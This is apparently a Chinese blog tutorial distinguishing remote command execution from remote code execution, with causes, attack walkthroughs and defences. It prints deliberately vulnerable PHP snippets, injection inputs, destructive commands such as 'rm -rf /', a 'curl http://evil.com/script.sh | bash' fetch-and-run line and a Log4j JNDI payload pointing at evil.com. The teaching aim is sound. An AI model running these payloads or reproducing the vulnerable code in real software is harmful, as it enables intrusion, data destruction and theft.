一、什么是 RCE?两种类型分开看
RCE 是“远程执行”的统称,但具体可以分为两种情况:远程命令执行 和 远程代码执行。我们先来拆开看看。
1. 远程命令执行(Remote Command Execution)
- 定义:黑客通过网络发送一条“系统命令”,让目标服务器直接执行。比如告诉服务器“删除文件”或“列出目录”。
- 特点:执行的是操作系统或程序内置的命令,通常不需要上传复杂代码。
- 比喻:就像你远程喊话给一个机器人:“帮我把桌子上的书拿过来”,机器人直接照做。
2. 远程代码执行(Remote Code Execution)
- 定义:黑客通过网络让目标系统运行一段“自定义代码”,比如一段 Python 脚本或恶意程序。
- 特点:不仅仅是调用现有命令,而是执行黑客自己编写的代码,灵活性更强。
- 比喻:就像你远程给机器人上传了一个程序:“每隔 10 分钟帮我擦桌子”,机器人按你的代码逻辑运行。
区别总结:
- 命令执行:用现成的命令,简单直接。
- 代码执行:运行自定义代码,功能更强大。
二、它们为什么危险?
无论是命令执行还是代码执行,危害都很大,但侧重点不同。
1. 远程命令执行的危害
- 直接破坏:比如运行
rm -rf /(Linux 删除所有文件)或format C:(Windows 格式化硬盘)。 - 窃取信息:运行
whoami或cat /etc/passwd,获取服务器用户或敏感文件。 - 简单高效:黑客不需要写复杂代码,几秒钟就能搞定。
2. 远程代码执行的危害
- 长期控制:黑客可以上传后门程序(比如 webshell),随时回来操作。
- 复杂攻击:运行挖矿程序、发起 DDoS 攻击,甚至控制整个网络。
- 隐蔽性强:代码可以伪装成正常程序,难以被发现。
举例:2021 年的 Log4j 漏洞属于“远程代码执行”,黑客通过它上传恶意代码,控制了无数服务器,有的被用来挖比特币,有的成了攻击跳板。
三、它们是怎么产生的?
1. 远程命令执行的成因
- 用户输入未过滤:程序直接把用户输入当作命令执行。
- 例子:一个网站让你输入 IP 来 ping,代码可能是:
用户输入$ip = $_GET['ip']; system("ping " . $ip);8.8.8.8 && whoami,服务器不仅 ping,还泄露了用户名。
- 例子:一个网站让你输入 IP 来 ping,代码可能是:
- 危险函数:用了
system()、exec()、shell_exec()这类直接跑命令的函数。 - 配置错误:比如 SSH 配置不当,允许远程执行命令。
2. 远程代码执行的成因
- 反序列化漏洞:程序把用户上传的数据“反序列化”成代码执行。
- 例子:Java 的
ObjectInputStream如果信任了用户数据,可能执行黑客的恶意类。
- 例子:Java 的
- 代码注入:用户输入被拼接到代码中执行。
- 例子:SQL 注入升级版,输入
1; eval('malicious code'),程序直接运行代码。
- 例子:SQL 注入升级版,输入
- 第三方组件漏洞:比如 Log4j、Spring Framework 的 Bug,让黑客注入代码。
小结:命令执行多是“信任了用户输入”,代码执行则可能是“程序逻辑或组件有漏洞”。
四、攻击过程(分别举例)
为了更直观,我们用两个例子说明。
1. 远程命令执行攻击
- 场景:一个网站让你输入域名来查 WHOIS 信息。
- 代码:
$domain = $_GET['domain']; $result = shell_exec("whois " . $domain); echo $result; - 攻击步骤:
- 用户输入
example.com,返回域名信息。 - 黑客输入
example.com && ls -la,服务器执行whois后列出文件。 - 黑客再输入
example.com && curl http://evil.com/script.sh | bash,下载并运行恶意脚本。
- 用户输入
2. 远程代码执行攻击
- 场景:一个 Java 应用用 Log4j 处理日志,用户输入被记录。
- 漏洞:Log4j 的 JNDI 注入(历史案例)。
- 攻击步骤:
- 黑客输入
${jndi:ldap://evil.com/a}。 - Log4j 解析这条输入,去黑客的服务器下载恶意 Java 类。
- 服务器加载并运行这段代码,比如建立反向 shell,黑客接管系统。
- 黑客输入
对比:命令执行是“借用系统命令”,代码执行是“注入全新逻辑”。
五、如何防范?
防范措施针对两种情况有通用也有区别。
1. 通用防范
- 输入验证:严格检查用户输入,只允许合法格式。
- 权限最小化:程序运行时用最低权限,减少破坏范围。
- 更新补丁:保持系统和组件(如 Log4j)最新。
2. 针对远程命令执行
- 避免危险函数:不用
system()、exec(),改用安全替代品。 - 命令白名单:只允许执行预定义的命令。
- 例子:只允许 ping 指定 IP,不接受其他输入。
3. 针对远程代码执行
- 禁用不必要功能:比如关闭 JNDI 的远程加载。
- 序列化过滤:只反序列化可信数据。
- WAF 防护:拦截恶意请求,比如检测
${jndi:。
六、总结
RCE 分为“远程命令执行”和“远程代码执行”,前者借用系统命令,后者运行自定义代码。两者都危险,但成因和攻击方式不同。通过输入过滤、权限控制和补丁更新,我们可以有效防范。

498

被折叠的 条评论
为什么被折叠?



